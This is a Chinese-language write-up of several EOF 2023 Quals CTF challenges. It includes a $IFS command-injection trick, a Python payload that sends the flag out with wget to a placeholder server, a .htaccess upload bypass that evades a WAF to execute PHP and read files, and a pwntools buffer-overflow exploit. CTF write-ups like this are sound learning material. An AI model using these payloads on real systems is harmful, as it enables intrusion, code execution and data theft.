[心得] EOF 2023 Quals Writeup
[TOC]
## 成績
![Score](https://img.stoneapp.tech/t510599/eof-2023/quals/score.png)
看[完整 Profile](https://img.stoneapp.tech/t510599/eof-2023/quals/profile.png)
很長的[ScoreBoard](https://img.stoneapp.tech/t510599/eof-2023/quals/scoreboard.png)
跟去年的隊友打了今年的 EOF Quals 簡單紀錄一下我解的題目
聽說今年 Final 會是 A&D + KoH 萌新瑟瑟發抖
## Misc
### Washer
可以寫入檔案的字元範圍為 `'$' ~ '}'`
透過 `$IFS` 取代空白
透過 Magic 並指定檔名為 `/tmp/<random id>` 以執行指令
檔案內容: `cat$IFS/flag`
### Veronese
字元辨識是用以下方式進行:
![](https://i.imgur.com/yWIf78d.png)
因此如果 pixel 未完全吻合 便無法辨識該字元
透過超過一行高度的字元 ex. 畫表格用的 `│` 蓋掉 docstring 的 `'`
可以讓上方跟下方的字元變得無法辨識以通過以下測試:
![](https://i.imgur.com/fWT6EH3.png)
輸入:
```python=
''' '''
__import__("os").system("wget <server>/?f=$(cat flag)") #│││
''' '''
```
產生圖片:
![](https://i.imgur.com/z0mU8mm.png)
辨識內容:
```python=
'''
__import__("os").system("wget <server>/?f=$(cat flag)") #
'''
```
## Web
### Gist
![](https://i.imgur.com/CRM3Ke9.png)
可以上傳任意檔案 只要檔名與內容皆不含 `ph`
預設的 php docker 裡 `docker-php.conf` 中有開啟 `AllowOverride`
因此我們可以利用 `.htaccess`
```apache
<FilesMatch \.php$>
SetHandler application/x-httpd-php
</FilesMatch>
DirectoryIndex disabled
DirectoryIndex index.php index.html
<Directory /var/www/>
Options -Indexes
AllowOverride All
</Directory>
```
透過 `.htaccess` 讓其將被視作 php 檔案處理
並透過 `Allow` 讓其可以被外部存取
```apache
<Files ~ "^.ht">
Require all granted
Order allow,deny
Allow from all
SetHandler application/x-httpd-p\
hp
</Files>
#<?= require('/flag.txt') ?>
```
透過 `\` 換行可以 bypass waf
php 程式需放在註解放入 否則 apache 會跳 500
#### 另解
放個 ItisCaleb 大大的另解在這 [原文](https://itiscaleb.com/2023/01/AIS3-EOF-Qual-2023/#Gist)
```apache
ErrorDocument 404 %{file:/flag.txt}
```
一開始試著找了很多從 ErrorDocument 讀檔的方法 但查到的都是叫我用 Rewrite engine 去做 QQ
## Revenge
### Water
![](https://i.imgur.com/iTUV8lX.png)
讀取欲寫入檔案的內容是透過 scanf 來讀 透過 buffer overflow 將 filename 蓋成 `/flag` 即可透過 Read Content 讀到 flag
```python
from pwn import *
host, port = "edu-ctf.zoolab.org", 10019
r = remote(host, port)
def menu():
r.recvuntil(b"=== Menu ===\n")
r.recvlines(4)
padding = 116
menu()
r.sendline(b"1")
r.recvline("")
r.sendline(b"A" * padding + b"/" * (11 - 4) + b"flag")
menu()
r.sendline(b"2")
r.recvline()
print(r.recvline().decode())
menu()
r.sendline(b"4")
```
題外話 這題不知道為啥解題數超少
作者: 明明名字長的一臉就很水 怎麼沒人解
XDD
2023-01-25 00:30:04
留言
Last fetch: --:--
現在還沒有留言!